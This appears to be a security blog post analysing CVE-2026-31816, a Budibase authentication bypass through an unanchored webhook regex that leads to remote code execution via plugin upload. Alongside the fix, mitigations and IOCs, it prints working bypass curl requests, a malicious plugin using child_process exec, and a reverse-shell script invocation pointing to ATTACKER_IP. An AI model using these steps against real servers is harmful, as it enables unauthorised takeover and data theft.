Post

CVE-2026-31816 Authentication Bypass Vulnerability

CVE-2026-31816 Authentication Bypass Vulnerability

Executive Summary

CVE-2026-31816 is a critical security vulnerability discovered in the Budibase low-code platform, with a CVSS score of 9.8 (Critical). This vulnerability consists of two components:

  1. Authentication Bypass: Due to a regex implementation flaw, attackers can bypass authentication via URL query string manipulation
  2. Remote Code Execution (RCE): After bypassing authentication, attackers can upload malicious plugins to achieve arbitrary code execution on the server

Attack Chain: Unauthenticated Access → Plugin Upload → DATASOURCE Plugin → Code Execution → Full System Control


1. Vulnerability Overview

1.1 Basic Information

Attribute Value
CVE ID CVE-2026-31816
Vulnerability Type Authentication Bypass + Remote Code Execution
CVSS Score 9.8 (Critical)
Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Affected Versions Budibase < Patched Version

1.2 CVSS Vector

1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

1.3 Impact Assessment

Impact Rating Description
Confidentiality High (H) Complete data disclosure
Integrity High (H) Full system control
Availability High (H) Can cause service disruption

2. Technical Analysis

2.1 Authentication Bypass Vulnerability

Vulnerability Location

packages/server/src/middleware/utils.ts

Vulnerable Code

1
2
3
4
5
6
7
8
// Vulnerable implementation
const WEBHOOK_ENDPOINTS = new RegExp(
  ["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)

export function isWebhookEndpoint(ctx: UserCtx) {
  return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

Root Cause Analysis

  1. Unanchored Regular Expression: The regex pattern lacks ^ and $ anchors, allowing matches at any position in the string

  2. Incorrect Input Source: The function checks ctx.request.url, which includes the complete URL path and query string

  3. Logic Flaw: The middleware logic is as follows:

    1
    2
    3
    4
    5
    
    if (isWebhookEndpoint(ctx)) {
      // Webhook endpoints don't require authentication
      return next()
    }
    // Other endpoints require authentication
    

Bypass Method

Append ?/webhooks/trigger to any API request:

1
2
3
4
5
6
7
# Normal request - requires authentication
curl http://localhost:10000/api/tables
# Returns: HTTP 302 redirect to login page

# Bypass authentication
curl "http://localhost:10000/api/tables?/webhooks/trigger"
# Returns: HTTP 200 Success!

Regex Matching Analysis

1
2
3
Request URL: /api/tables?/webhooks/trigger
                              ^^^^^^^^^^^^^^^^
                              Regex matches this part!

Since ctx.request.url returns the full path (including the query string after ?), and the regex is unanchored, webhooks/trigger within ?/webhooks/trigger will be matched.

2.2 Remote Code Execution Vulnerability

Vulnerability Location

packages/pro/src/sdk/plugins/index.ts:44-48

Vulnerable Code

1
2
3
4
5
6
7
8
if (metadata.schema.type === PluginType.DATASOURCE) {
    const js = loadJSFile(directory, jsFile.name)
    try {
        dynamicCodeExecution(js)  // Arbitrary code execution here!
    } catch (err: any) {
        throw new Error(`JS invalid: ${message}`)
    }
}

Root Cause Analysis

Budibase supports a plugin system that allows users to extend platform functionality. Plugins have three types:

Type Execution Environment Security
COMPONENT Browser (Frontend) Safe
DATASOURCE Server (Backend) Dangerous - Can execute arbitrary code
AUTOMATION Server (Backend) Potentially risky

For DATASOURCE type plugins, Budibase dynamically executes the plugin’s JavaScript code during validation. This design is intended to verify plugin validity, but it also provides an RCE path for attackers.

RCE Exploitation Process

  1. Create Malicious Plugin:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    // schema.json - Declare as DATASOURCE type
    {
      "type": "datasource",
      "schema": {
        "friendlyName": "Malicious Plugin",
        "type": "Non-relational",
        "datasource": {...},
        "query": {...}
      }
    }
    
  2. Inject Malicious Code:
    1
    2
    3
    4
    
    // plugin.js - Server-side execution
    const {exec} = require('child_process');
    exec('id > /tmp/pwned');
    module.exports = {schema: {}, integration: function() {}};
    
  3. Upload Plugin (Bypassing Authentication):
    1
    2
    
    curl -X POST "http://target:10000/api/plugin/upload?/webhooks/trigger" \
      -F "[email protected]"
    
  4. Code Execution: During upload, the server executes the plugin code for validation, completing the RCE.

3. Affected API Endpoints

3.1 Global APIs (No WORKSPACE_ID Required)

Endpoint Method Function Severity
/api/integrations GET Get all integration types High - Information Disclosure
/api/integrations/:type GET Get specific integration config High - Information Disclosure
/api/plugin GET List all plugins Medium - Information Disclosure
/api/plugin POST Install plugin from URL Critical - RCE
/api/plugin/upload POST Upload plugin file Critical - RCE
/api/plugin/:id DELETE Delete plugin High - Denial of Service
/api/plugin/updates GET/POST Check/apply updates Critical - RCE

3.2 APIs Requiring WORKSPACE_ID

The following endpoints are affected but require a valid x-budibase-app-id header:

  • /api/tables - Table management
  • /api/rows - Row data operations
  • /api/datasources - Datasource management
  • /api/automations - Automation management
  • /api/users/metadata - User metadata
  • /api/roles - Role management

4. Attack Scenarios

4.1 Information Gathering

1
2
3
4
5
6
7
8
# Get all supported database types
curl -s "http://target:10000/api/integrations?/webhooks/trigger" | jq .

# Get PostgreSQL configuration structure (leaks default credentials)
curl -s "http://target:10000/api/integrations/POSTGRES?/webhooks/trigger" | jq .

# Get installed plugins
curl -s "http://target:10000/api/plugin?/webhooks/trigger" | jq .

4.2 Remote Code Execution

1
2
3
4
5
# Using the exploit script
python3 CVE-2026-31816-upload-plugin.py \
  -t http://target:10000 \
  --create-and-upload \
  --type datasource

4.3 Reverse Shell

1
2
3
4
5
6
7
8
# Start listener
nc -lvnp 4444

# Execute exploit
python3 CVE-2026-31816-rshell.py \
  -t http://target:10000 \
  --lhost ATTACKER_IP \
  --lport 4444

4.4 Post-Exploitation

After gaining shell access, attackers can:

Operation Method
Steal environment variables Read process.env
Extract database credentials Read Budibase configuration files
Lateral movement Use stolen credentials to access other services
Persistence Write SSH public keys, create backdoor users
Privilege escalation Exploit container or host vulnerabilities

5. Vulnerability Verification

5.1 Test Environment

  • Target: http://192.168.1.128:10000
  • Budibase: Docker container environment

5.2 Verification Steps

1
2
3
4
5
6
7
8
9
10
11
# Step 1: Confirm vulnerability exists
curl -s "http://192.168.1.128:10000/api/integrations?/webhooks/trigger" --compressed | head

# Step 2: Upload RCE plugin
python3 CVE-2026-31816-upload-plugin.py -t http://192.168.1.128:10000 \
  --create-and-upload --type datasource

# Step 3: Verify command execution
# Check on Budibase server
docker exec -it budibase-server ls /tmp
# Output contains: 123  ← RCE successful!

5.3 Verification Results

RCE CONFIRMED SUCCESSFULLY

1
2
root@1aa20b8fb9db:/tmp# ls
123                 # ← File created by attacker

6. Remediation

6.1 Official Fix

1
2
3
4
5
6
7
8
9
// Fixed code
const WEBHOOK_ENDPOINTS = new RegExp(
  "^/api/webhooks/(trigger|schema|discord|ms-teams|slack)(/|$)"
)

export function isWebhookEndpoint(ctx: UserCtx): boolean {
  const path = ctx.path || ctx.request.url.split("?")[0]
  return WEBHOOK_ENDPOINTS.test(path)
}

Fix measures:

  1. Anchor Regular Expression: Add ^ to ensure matching from string start
  2. Exclude Query String: Use ctx.path or manually split content after ?
  3. Specify Complete Path Format: Define full /api/webhooks/... path

6.2 Temporary Mitigation

Before official fix is available:

1
2
3
4
5
6
7
8
9
10
11
# Nginx WAF rule
if ($request_uri ~* "\?/webhooks/") {
    return 403;
}

# Or more strict rule
location ~ ^/api/ {
    if ($args ~* "webhooks") {
        return 403;
    }
}
1
2
3
4
5
# Restrict plugin upload endpoint
location /api/plugin {
    allow 10.0.0.0/8;  # Internal network only
    deny all;
}

7. Security Recommendations

  1. Immediate Upgrade: Apply official patches
  2. Network Isolation: Budibase should not be directly exposed to the internet
  3. Least Privilege: Ensure Budibase process runs as non-root user
  4. Log Monitoring: Detect abnormal plugin upload activities
  5. WAF Protection: Deploy Web Application Firewall
  6. Plugin Validation: Implement stricter plugin validation mechanisms
  7. Access Control: Implement IP-based access control for sensitive endpoints

8. Indicators of Compromise (IOCs)

8.1 Network Indicators

  • Requests containing ?/webhooks/ in URL
  • Unexpected POST requests to /api/plugin/upload
  • Large file uploads to plugin endpoints

8.2 System Indicators

  • Unexpected plugins in Budibase plugin directory
  • Unusual processes spawned by Node.js/Budibase
  • Modified system files or new user accounts

8.3 Log Indicators

1
2
3
# Look for these patterns in access logs
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger

9. PoC:

https://github.com/imjdl/CVE-2026-31816-rshell

10. References

  • Budibase Official Documentation: https://docs.budibase.com
  • Budibase GitHub: https://github.com/Budibase/budibase
  • OWASP Authentication Bypass: https://owasp.org/www-community/Bypass_Bypassed
  • CWE-287: Improper Authentication
  • CWE-94: Improper Control of Generation of Code (‘Code Injection’)
This post is licensed under CC BY 4.0 by the author.